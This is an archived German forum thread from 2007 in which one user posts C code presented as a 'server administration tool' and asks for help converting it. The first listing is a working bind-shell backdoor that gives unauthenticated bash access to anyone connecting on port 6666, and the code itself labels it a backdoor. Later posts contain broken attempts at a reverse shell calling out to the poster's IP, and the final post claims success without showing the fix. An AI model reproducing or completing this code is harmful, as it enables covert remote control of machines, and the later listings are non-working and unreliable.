PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : revirce connection für Server AdministrationsTool


Loader007
30.06.2007, 13:51
Hallo,

Ich habe volgendes Programm zu Administration meines Server geschrieben

/*******************************************
*Server Administations Tool *
*Port 6666 *
* *
********************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>


#define port 6666

int start_prog();
int main(void)
{
int sock,c;


/* Make Backdoor*/
int start_prog(int sock)
{
close(0);
close(1);
close(2);
dup(sock);
dup(sock);
dup(sock);

execl("/bin/bash", "bash", NULL);

}




sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
perror("socket() failed");
return 1;
}


/* Start Server*/
struct sockaddr_in addr;
addr.sin_addr.s_addr =INADDR_ANY;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (bind(sock, (struct sockaddr*) &addr, sizeof(addr)) == -1)
{
perror("Fehler");
return 2;
}

if (listen(sock, 3) == -1)
{
perror("listen () failed");
return 3;
}


/* connect adder*/
for(;;)
{
struct sockaddr_in cli;
socklen_t cli_size;

cli_size = sizeof(cli);

if ((c = accept(sock, (struct sockaddr*) &cli, &cli_size)) == -1)
{

perror("accept() failed");
return 4;
}
start_prog(c); /*run backdoor on the Server*/


}
}

Da ein Server der auf einem Port horcht nicht wirklich Sicher ist! Möchte ich in diesen nun eine Connection nur auf meinen PC einbauen. Nur bin ich gerade etwas überfordert wie ich das machen kann. Ich muss mir die Shell dann ja wahrscheinlich mit send senden und eben meine no ip eintragen und mit get hostbytename umwandeln das ist mir klr nur wie ich die Shell dann send eben das bekomme ich gerade noch nicht hin! Wenn mir einer helfen würde fande ich das zimlich nett danke im Vorraus Loader007


Loader007
30.06.2007, 15:02
So ich habe ma ws versucht nur ganz klapt es noch nciht ich poste es ma obs kompelt falsch ist weis ich nicht


/*******************************************
*Server Administations Tool *
*Port 6666 *
* *
********************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>


#define port 6666
char request[4500];
int start_prog();
int main(void)
{
int sock,c;



int start_prog(int sock)
{
close(0);
close(1);
close(2);
dup(sock);
dup(sock);
dup(sock);

execl("/bin/bash", "bash", NULL);

}




sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
perror("socket() failed");
return 1;
}


/* Start Server*/
struct sockaddr_in addr;
addr.sin_addr.s_addr =inet_addr("192.168.178.21");
addr.sin_port = htons(port);
addr.sin_family = AF_INET;




/* connect adder*/
while(1)
{

char buf[4500];
if ((c = send(sock, buf, strlen(buf), 0) == 1))
{

printf("lol fehler\n");
}
start_prog(c); /*run backdoor on the Server*/
}


}

Loader007
30.06.2007, 17:37
So ich habe noch weiter versucht und ahne das ich auf dem richtigen weg bin aber weiter komme ich leider nicht !
/*******************************************
*Server Administations Tool *
*Port 6666 *
* *
********************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>


#define port 12345
char request[4500];
int start_prog();
int main(void)
{
int sock;
int c;

int start_prog(int sock)
{
close(0);
close(1);
close(2);
dup(sock);
dup(sock);
dup(sock);

execl("/bin/bash", "bash", NULL);

}




sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == 0)
{
perror("socket() failed");
return 1;
}


/* Start Server*/
struct sockaddr_in addr;
addr.sin_addr.s_addr =inet_addr("192.168.178.21");
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

start_prog(c);
char **lol;
c = lol ;

/* connect adder*/
for (;;)
{


send(sock, lol, strlen(lol), 0);



}


}

Loader007
02.07.2007, 17:33
hat keiner ne Idee wie man sich die schell senden lassen kann?

Loader007
25.07.2007, 02:09
kann geschlossen werden hab es hinbekommen es zu senden